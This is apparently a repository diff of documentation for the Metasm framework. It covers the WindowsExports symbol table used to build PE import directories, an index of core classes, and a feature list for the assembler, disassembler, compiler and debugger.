This class is defined in `metasm/os/windows_exports.rb`
It defines an `EXPORT` constant, a Hash, whose keys
are the standard win32 API symbol names, and values
are the library name where you can find this symbol.
The equivalent for GNU/Linux is <core/GNUExports.txt>
Usage
-----
The main usage of this class is the automatic generation
of the <core/PE.txt> import directories from the
external symbols referenced by a binary during compilation.
This is done in the `automagic_symbols` method.
Symbols
-------
The current version holds the symbols available in the
Windows XP SP2 32-bit standard libraries:
* `ntdll`
* `kernel32`
* `user32`
* `gdi32`
* `advapi32`
* `ws2_32`
* `msvcrt`
* `comdlg32`
* `psapi`
Ruby symbols are also defined, from `msvcrt-ruby18`.
Ruby library name
-----------------
On creation, the current ruby library name is inferred
from the `RUBY_PLATFORM` constant, in an effort to
try to use the available ruby library filename.
The only transformation supported now is to rewrite
the ruby version number appearing in the filename for
msvcrt-compiled binaries, so that you get the correct
`msvcrt-ruby192` name for exemple under ruby1.9.
This is implemented in the `patch_rubylib_to_current_interpreter`
method (which is aptly named).
Warning
#######
Note that binaries compiled this way will not work on
other machines where the exact same library is unavailable.

View File

@ -1 +0,0 @@
See <core_classes.txt>

View File

@ -1,75 +0,0 @@
Core classes
============
Core
----
* <core/Expression.txt>
* <core/EncodedData.txt>
* <core/VirtualString.txt>
* <core/Opcode.txt>
* <core/Instruction.txt>
CPUs
----
* <core/CPU.txt>
* <core/Ia32.txt>
* <core/X86_64.txt>
* <core/MIPS.txt>
* <core/PowerPC.txt>
* <core/Sh4.txt>
ExeFormats
----------
* <core/ExeFormat.txt>
* <core/SerialStruct.txt>
* <core/AutoExe.txt>
* <core/Shellcode.txt>
* <core/PE.txt>
* <core/COFF.txt>
* <core/ELF.txt>
C
----
* <core/Preprocessor.txt>
* <core/CParser.txt>
* <core/CCompiler.txt>
Debugger
--------
* <core/OS.txt>
* <core/Debugger.txt>
* <core/LinDebugger.txt>
* <core/WinDebugger.txt>
* <core/PTrace.txt>
* <core/GdbClient.txt>
* <core/WinDbgAPI.txt>
Disassembler
------------
* <core/Disassembler.txt>
* <core/DecodedFunction.txt>
* <core/DecodedInstruction.txt>
* <core/InstructionBlock.txt>
* <core/Decompiler.txt>
GUI
----
* <core/Gui.txt>
* <core/Gui_Drawable.txt>
* <core/Gui_Window.txt>
* <core/Gui_DasmWidget.txt>
* <core/Gui_DebugWidget.txt>
Others
------
* <core/DynLdr.txt>

View File

@ -1,53 +0,0 @@
Metasm feature list
===================
Metasm is a cross-architecture assembler, disassembler, compiler, linker and debugger.
See <use_cases.txt>
Architectures
-------------
It is written in such a way that it is easy to add support for new architectures.
For now, the following architectures are in:
* Intel <core/Ia32.txt> (16 and 32bits)
* Intel <core/X86_64.txt> (*aka* Ia32 64bits, X64, AMD64)
* MIPS
* PowerPC
* Sh4
The developpement is generally more focused on Ia32 and X86_64.
File formats
------------
The following executable file formats are supported:
* <core/Shellcode.txt> (raw binary)
* <core/PE.txt>/<core/COFF.txt> (32/64bits)
* <core/ELF.txt> (32/64bits)
Those are supported in a more limited way:
* Mach-O, UniversalBinary
* MZ
* A.out
* XCoff
* NDS
Features
--------
The framework includes
* a graphical <usage/disassembler.txt>
* a graphical <usage/debugger.txt>
* low and high-level debugging support (Ia32 only for now) under Windows, Linux and remote (via a GdbServer)
* an advanced disassembler engine, with limited emulation support
* a full <usage/C_parser.txt> (with preprocessor)
* an experimental <usage/C_compiler.txt> (Ia32 only)
* an experimental <usage/decompiler.txt> (Ia32 only)

Some files were not shown because too many files have changed in this diff Show More